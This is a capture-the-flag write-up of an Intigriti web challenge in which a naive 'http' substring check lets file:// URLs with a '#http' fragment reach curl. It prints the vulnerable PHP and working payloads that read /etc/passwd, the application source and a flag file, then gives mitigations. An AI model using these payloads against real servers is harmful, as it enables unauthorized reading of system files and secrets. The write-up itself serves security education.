# Intigriti Challenge 1025 — SSRF → LFI Writeup
**Author:** kutaysec • **Platform:** Intigriti • **Tier:** 2
---
## 🧩 Description
The challenge hosted at
`https://challenge-1025.intigriti.io/challenge.php`
provides a simple importer interface that fetches a remote resource from a user-supplied URL.
A quick look at the source shows a naïve validation step that checks whether the string “http” appears in the parameter, then directly passes it to `curl_init()`.
This pattern allows a crafted input to pass the check but still trigger a local file read through `file://`.
**Goal:** Read arbitrary files from the server and retrieve the flag.
---
## 🔍 Challenge Analysis
The vulnerable PHP snippet looked like this:
```php
if (isset($_GET['url'])) {
$url = $_GET['url'];
if (stripos($url, 'http') === false) {
die("Invalid URL: must include 'http'");
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
echo htmlspecialchars(curl_exec($ch));
}
```
The `stripos()` check simply searches for the substring `http`.
It **does not validate the actual scheme**, so any string containing “http” somewhere—like in a fragment—will bypass it.
---
## ⚙️ Vulnerability
Because `curl` supports multiple schemes (`http`, `https`, `file`, `ftp`, …), we can exploit the logic flaw by adding a fragment such as `#http`:
```
file:///etc/passwd#http
```
The condition `stripos($url, 'http') !== false` passes,
but `curl` still interprets the prefix `file://` and reads local files.
---
## 💣 Proof of Concept
### 1️⃣ Initial test
```
GET /challenge.php?url=file%3A%2F%2F%2Fetc%2Fpasswd%23http
```
Decoded: `file:///etc/passwd#http`
→ Successfully returns the contents of `/etc/passwd`.
### 2️⃣ Source code disclosure
```
file:///var/www/html/challenge.php#http
```
Reveals the PHP source and confirms the logic flaw.
### 3️⃣ Flag retrieval
```
file:///proc/self/root/93e892fe-c0af-44a1-9308-5a58548abd98.txt#http
```
→ Displays:
```
INTIGRITI{...}
```
---
## 🧠 Technical Breakdown
| Step | Component | Behavior |
| ---- | ---------------- | ------------------------------------------------------------------- |
| 1 | `stripos()` | Only searches substring “http” |
| 2 | `curl_init()` | Accepts `file://` scheme |
| 3 | Fragment `#http` | Triggers substring match while keeping actual protocol as `file://` |
| 4 | `curl_exec()` | Reads local file contents |
| 5 | Output | Displays sensitive data including flag |
---
## 🧰 Impact
* **Arbitrary File Read (LFI via SSRF)**
Attackers can access configuration files, source code, or secrets.
* Potential escalation to **RCE** if writable files or sensitive tokens exist.
---
## 🧱 Mitigation
1. Use `parse_url()` and verify the scheme strictly:
```php
$parts = parse_url($url);
if (!in_array(strtolower($parts['scheme'] ?? ''), ['http','https'])) {
die('Invalid URL');
}
```
2. Implement an **allow-list of domains** if remote fetching is required.
3. Disable `file://` wrappers (`allow_url_fopen=0` or `CURLOPT_PROTOCOLS`).
4. Sanitize and log all user inputs before cURL requests.
---
## 🏁 Conclusion
The challenge demonstrates how superficial string checks create severe SSRF/LFI vulnerabilities.
By appending a harmless-looking fragment containing “http”, the attacker tricks the filter and makes `curl` read local files, ultimately exposing the flag.
---
**Written by [@kutaysec](https://app.intigriti.com/researcher/profile/kutaysec)**
**X Profile [@exploitpy](https://x.com/exploitpy)**